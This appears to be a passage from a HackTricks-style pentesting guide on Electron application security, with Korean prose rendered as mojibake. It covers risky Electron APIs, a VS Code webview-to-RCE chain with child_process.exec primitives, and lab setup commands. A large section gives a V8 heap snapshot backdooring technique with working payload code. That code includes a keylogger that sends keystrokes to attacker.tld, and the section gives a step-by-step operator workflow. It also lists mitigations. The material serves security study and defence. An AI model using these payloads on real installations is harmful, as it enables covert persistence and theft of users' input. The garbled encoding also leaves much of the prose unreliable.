  • ํ˜„์žฌ ์‹คํ–‰ํŒŒ์ผ์„ ์ง€์ •ํ•œ ํ”„๋กœํ† ์ฝœ์˜ ๊ธฐ๋ณธ ํ•ธ๋“ค๋Ÿฌ๋กœ ๋“ฑ๋กํ•ฉ๋‹ˆ๋‹ค. ํ•„์š”ํ•˜๋ฉด ์‚ฌ์šฉ์ž ์ง€์ • ๊ฒฝ๋กœ์™€ ์ธ์ˆ˜๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • app.setUserTasks(tasks)
  • Windows์˜ Jump List ๋‚ด Tasks ์นดํ…Œ๊ณ ๋ฆฌ์— ์ž‘์—…์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ž‘์—…์€ ์•ฑ์ด ์‹คํ–‰๋˜๋Š” ๋ฐฉ์‹์ด๋‚˜ ์ „๋‹ฌ๋˜๋Š” ์ธ์ˆ˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • app.importCertificate(options, callback)
  • PKCS#12 ์ธ์ฆ์„œ๋ฅผ ์‹œ์Šคํ…œ์˜ ์ธ์ฆ์„œ ์ €์žฅ์†Œ์— ๊ฐ€์ ธ์˜ค๊ธฐํ•ฉ๋‹ˆ๋‹ค (Linux ์ „์šฉ). ๊ฒฐ๊ณผ ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•ด callback์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • app.moveToApplicationsFolder([options])
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ Applications ํด๋”๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค (macOS). Mac ์‚ฌ์šฉ์ž๋ฅผ ์œ„ํ•œ ํ‘œ์ค€ ์„ค์น˜๋ฅผ ๋ณด์žฅํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.
  • app.setJumpList(categories)
  • Windows์—์„œ ์‚ฌ์šฉ์ž ์ง€์ • Jump List๋ฅผ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ž‘์—…์ด ์‚ฌ์šฉ์ž์—๊ฒŒ ์–ด๋–ป๊ฒŒ ํ‘œ์‹œ๋ ์ง€ ์ •๋ฆฌํ•˜๋ ค๋ฉด ์นดํ…Œ๊ณ ๋ฆฌ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • app.setLoginItemSettings(settings)
  • ๋กœ๊ทธ์ธ ์‹œ ์‹คํ–‰๋˜๋Š” ์‹คํ–‰ ํŒŒ์ผ๊ณผ ํ•ด๋‹น ์˜ต์…˜์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค (macOS ๋ฐ Windows ์ „์šฉ).

Example:

Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences ๋ชจ๋“ˆ

Electron์—์„œ ์‹œ์Šคํ…œ ํ™˜๊ฒฝ์„ค์ •์— ์ ‘๊ทผํ•˜๊ณ  ์‹œ์Šคํ…œ ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์ฃผ์š” API์ž…๋‹ˆ๋‹ค. subscribeNotification, subscribeWorkspaceNotification, getUserDefault, ๊ทธ๋ฆฌ๊ณ  setUserDefault ๊ฐ™์€ ๋ฉ”์„œ๋“œ๋“ค์€ ๋ชจ๋‘ ์ด ๋ชจ๋“ˆ์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค.

์˜ˆ์ œ ์‚ฌ์šฉ๋ฒ•:

const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • ์ˆ˜์‹ : NSDistributedNotificationCenter๋ฅผ ์‚ฌ์šฉํ•ด macOS ๋„ค์ดํ‹ฐ๋ธŒ ์•Œ๋ฆผ์„ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค.
  • macOS Catalina ์ด์ „์—๋Š” CFNotificationCenterAddObserver์— nil์„ ์ „๋‹ฌํ•˜์—ฌ all ๋ถ„์‚ฐ ์•Œ๋ฆผ์„ ์Šค๋‹ˆํ•‘ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • Catalina / Big Sur ์ดํ›„์—๋Š” ์ƒŒ๋“œ๋ฐ•์Šค๋œ ์•ฑ๋„ ์ด๋ฆ„์œผ๋กœ ์•Œ๋ฆผ์„ ๋“ฑ๋กํ•จ์œผ๋กœ์จ (์˜ˆ: screen locks/unlocks, volume mounts, network activity ๋“ฑ) ์—ฌ์ „ํžˆ ๋งŽ์€ ์ด๋ฒคํŠธ๋ฅผ subscribeํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

getUserDefault / setUserDefault

  • NSUserDefaults์™€ ์ธํ„ฐํŽ˜์ด์Šคํ•˜๋ฉฐ, macOS์—์„œ application ๋˜๋Š” global ํ™˜๊ฒฝ์„ค์ •์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

  • getUserDefault๋Š” recent file locations๋‚˜ userโ€™s geographic location์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ retrieveํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • setUserDefault๋Š” ์ด๋Ÿฌํ•œ ํ™˜๊ฒฝ์„ค์ •์„ modifyํ•˜์—ฌ ์•ฑ์˜ configuration์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • older Electron versions(v8.3.0 ์ด์ „)์—์„œ๋Š” NSUserDefaults์˜ standard suite๋งŒ accessibleํ–ˆ์Šต๋‹ˆ๋‹ค.

Shell.showItemInFolder

This function shows the given file in a file manager, which could automatically execute the file.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron ์•ฑ์€ **Content Security Policy (CSP)**๋ฅผ ๊ฐ€์ ธ XSS ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. CSP๋Š” ๋ธŒ๋ผ์šฐ์ €์—์„œ untrusted code์˜ execution์„ preventํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋Š” security standard์ž…๋‹ˆ๋‹ค.

๋ณดํ†ต main.js ํŒŒ์ผ์ด๋‚˜ index.html ํ…œํ”Œ๋ฆฟ์˜ meta tag ์•ˆ์— CSP๋ฅผ configuredํ•ฉ๋‹ˆ๋‹ค.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webviewโ€™s extensionId.
  • Constructing target webview URL: Using the leaked ID to build vscode-webview://<extensionId>/.../<publicUrl>.
  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.

Example RCE primitive in the final context

// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

postMessage ์‹ ๋ขฐ ๋ฌธ์ œ์— ๋Œ€ํ•œ ๊ด€๋ จ ์ž๋ฃŒ:

PostMessage Vulnerabilities

๋„๊ตฌ

  • Electronegativity ์€ Electron ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ๊ณผ ๋ณด์•ˆ ์•ˆํ‹ฐํŒจํ„ด์„ ์‹๋ณ„ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.
  • Electrolint ์€ Electronegativity๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์šฉ ์˜คํ”ˆ ์†Œ์Šค VS Code ํ”Œ๋Ÿฌ๊ทธ์ธ์ž…๋‹ˆ๋‹ค.
  • nodejsscan ์€ ์ทจ์•ฝํ•œ ์„œ๋“œํŒŒํ‹ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ ๊ฒ€ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.
  • Electro.ng: ๊ตฌ๋งค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค

์‹ค์Šต

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ์—์„œ ์ทจ์•ฝํ•œ Electron ์•ฑ์„ exploitํ•˜๊ธฐ ์œ„ํ•œ ์‹ค์Šต์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์Šต์— ๋„์›€์ด ๋˜๋Š” ๋ช‡ ๊ฐ€์ง€ ๋ช…๋ น:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

๋กœ์ปฌ backdooring via V8 heap snapshot tampering (Electron/Chromium) โ€“ CVE-2025-55305

Electron ๋ฐ Chromium ๊ธฐ๋ฐ˜ ์•ฑ์€ ์‹œ์ž‘ ์‹œ ๋ฏธ๋ฆฌ ๋นŒ๋“œ๋œ V8 heap snapshot(v8_context_snapshot.bin, ์„ ํƒ์ ์œผ๋กœ browser_v8_context_snapshot.bin)์„ deserializeํ•˜์—ฌ ๊ฐ V8 isolate(main, preload, renderer)๋ฅผ ์ดˆ๊ธฐํ™”ํ•ฉ๋‹ˆ๋‹ค. ์—ญ์‚ฌ์ ์œผ๋กœ Electron์˜ integrity fuses๋Š” ์ด๋Ÿฌํ•œ snapshots๋ฅผ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ˜ํ…์ธ ๋กœ ์ทจ๊ธ‰ํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— fuse ๊ธฐ๋ฐ˜ ๋ฌด๊ฒฐ์„ฑ ๊ฐ•์ œ์™€ OS ์ฝ”๋“œ ์„œ๋ช… ๊ฒ€์‚ฌ ๋‘˜ ๋‹ค๋ฅผ ํšŒํ”ผํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์„ค์น˜์—์„œ snapshot์„ ๊ต์ฒดํ•˜๋ฉด ์„œ๋ช…๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋‚˜ ASAR์„ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ ๋„ ์•ฑ ๋‚ด๋ถ€์—์„œ ์€๋ฐ€ํ•˜๊ณ  ์ง€์†์ ์ธ ์ฝ”๋“œ ์‹คํ–‰์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation ๋ฐ OnlyLoadAppFromAsar๋Š” ASAR ๋‚ด๋ถ€์˜ ์•ฑ JavaScript๋ฅผ ๊ฒ€์ฆํ•˜์ง€๋งŒ V8 heap snapshots(CVE-2025-55305)๋Š” ํฌํ•จํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. Chromium๋„ ์œ ์‚ฌํ•˜๊ฒŒ snapshots์— ๋Œ€ํ•ด ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • Attack preconditions: ์•ฑ ์„ค์น˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ๋กœ์ปฌ ํŒŒ์ผ ์“ฐ๊ธฐ ๊ถŒํ•œ. ์ด๋Š” Electron ์•ฑ์ด๋‚˜ Chromium ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ๊ฒฝ๋กœ(์˜ˆ: Windows์˜ %AppData%\Local; macOS์—์„œ ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•œ /Applications)์— ์„ค์น˜๋œ ์‹œ์Šคํ…œ์—์„œ ํ”ํ•ฉ๋‹ˆ๋‹ค.
  • Effect: ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” builtin(์ผ๋ช… โ€œgadgetโ€)์„ ๋ฎ์–ด์จ ์–ด๋–ค isolate์—์„œ๋„ ๊ณต๊ฒฉ์ž JavaScript๋ฅผ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์ง€์†์„ฑ ๋ฐ ์ฝ”๋“œ ์„œ๋ช… ๊ฒ€์ฆ ํšŒํ”ผ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • Affected surface: (fuses๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋”๋ผ๋„) ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์œ„์น˜์—์„œ snapshots๋ฅผ ๋กœ๋“œํ•˜๋Š” Electron ์•ฑ ๋ฐ Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €.

Generating a malicious snapshot without building Chromium

  • prebuilt electron/mksnapshot์„ ์‚ฌ์šฉํ•˜์—ฌ payload JS๋ฅผ snapshot์œผ๋กœ ์ปดํŒŒ์ผํ•œ ๋’ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ v8_context_snapshot.bin์„ ๋ฎ์–ด์”๋‹ˆ๋‹ค.

Example minimal payload (prove execution by forcing a crash)

// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applicationโ€™s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (run different code in main vs. renderer)

  • ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค ๊ฐ์ง€: Node-only globals(์˜ˆ: process.pid, process.binding(), process.dlopen)์€ ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค isolate์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
  • Browser/renderer ๊ฐ์ง€: ๋ฌธ์„œ ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋  ๋•Œ alert ๊ฐ™์€ Browser-only globals๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ gadget: main-process์˜ Node ๊ธฐ๋Šฅ์„ ํ•œ ๋ฒˆ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค

const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context ๋ฐ์ดํ„ฐ ํƒˆ์ทจ PoC (์˜ˆ: Slack)

const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

์šด์˜์ž ์›Œํฌํ”Œ๋กœ์šฐ

  1. payload.js๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์ผ๋ฐ˜์ ์ธ builtin์„ clobberํ•˜๋„๋ก ํ•˜๊ณ (์˜ˆ: Array.isArray), ํ•„์š” ์‹œ isolate๋ณ„ ๋ถ„๊ธฐ๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค.
  2. Chromium ์†Œ์Šค ์—†์ด ์Šค๋ƒ…์ƒท์„ ๋นŒ๋“œ:
  • npx -y electron-mksnapshot@37.2.6 โ€œ/abs/path/to/payload.jsโ€
  1. ๋Œ€์ƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์Šค๋ƒ…์ƒท ํŒŒ์ผ์„ ๋ฎ์–ด์“ด๋‹ค:
  • v8_context_snapshot.bin (ํ•ญ์ƒ ์‚ฌ์šฉ๋จ)
  • browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse๊ฐ€ ์‚ฌ์šฉ๋œ ๊ฒฝ์šฐ)
  1. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋ฉด ์„ ํƒํ•œ builtin์ด ์‚ฌ์šฉ๋  ๋•Œ๋งˆ๋‹ค gadget์ด ์‹คํ–‰๋œ๋‹ค.

์ฃผ์˜ ๋ฐ ๊ณ ๋ ค์‚ฌํ•ญ

  • Integrity/signature bypass: Snapshot files๋Š” ์ฝ”๋“œ ์„œ๋ช… ๊ฒ€์‚ฌ์—์„œ ๋„ค์ดํ‹ฐ๋ธŒ ์‹คํ–‰ ํŒŒ์ผ๋กœ ์ทจ๊ธ‰๋˜์ง€ ์•Š์œผ๋ฉฐ(์—ญ์‚ฌ์ ์œผ๋กœ) Electronโ€™s fuses๋‚˜ Chromium ๋ฌด๊ฒฐ์„ฑ ์ œ์–ด์˜ ์ ์šฉ์„ ๋ฐ›์ง€ ์•Š์•˜๋‹ค.
  • Persistence: ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์„ค์น˜ ์œ„์น˜์˜ ์Šค๋ƒ…์ƒท์„ ๊ต์ฒดํ•˜๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ์•ฑ ์žฌ์‹œ์ž‘์„ ๊ฒฌ๋””๋ฉฐ ์„œ๋ช…๋œ ์ •์ƒ ์•ฑ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค.
  • Chromium browsers: ๋™์ผํ•œ ๋ณ€์กฐ ๊ฐœ๋…์€ user-writable ์œ„์น˜์— ์„ค์น˜๋œ Chrome/ํŒŒ์ƒ ๋ธŒ๋ผ์šฐ์ €์—๋„ ์ ์šฉ๋œ๋‹ค. Chrome์€ ์ถ”๊ฐ€ ๋ฌด๊ฒฐ์„ฑ ์™„ํ™”์ฑ…์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€๋งŒ, ์œ„ํ˜‘ ๋ชจ๋ธ์—์„œ physically local attacks๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ์ œ์™ธํ•œ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™”

  • ์Šค๋ƒ…์ƒท์„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ˜ํ…์ธ ๋กœ ๊ฐ„์ฃผํ•˜๊ณ  ๋ฌด๊ฒฐ์„ฑ ๊ฐ•์ œ์— ํฌํ•จ์‹œํ‚จ๋‹ค (CVE-2025-55305 fix).
  • ๊ด€๋ฆฌ์ž ์ „์šฉ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์„ค์น˜ ์œ„์น˜๋ฅผ ์šฐ์„  ์‚ฌ์šฉํ•˜๊ณ ; v8_context_snapshot.bin ๋ฐ browser_v8_context_snapshot.bin์˜ ํ•ด์‹œ๋ฅผ ๊ธฐ์ค€์„ ์œผ๋กœ ์„ค์ •ํ•˜์—ฌ ๋ชจ๋‹ˆํ„ฐ๋งํ•œ๋‹ค.
  • early-runtime builtin clobbering ๋ฐ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์Šค๋ƒ…์ƒท ๋ณ€๊ฒฝ์„ ํƒ์ง€ํ•˜๊ณ ; ์—ญ์ง๋ ฌํ™”๋œ ์Šค๋ƒ…์ƒท์ด ์˜ˆ์ƒ ๊ฐ’๊ณผ ์ผ์น˜ํ•˜์ง€ ์•Š์„ ๋•Œ ๊ฒฝ๊ณ ํ•œ๋‹ค.

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ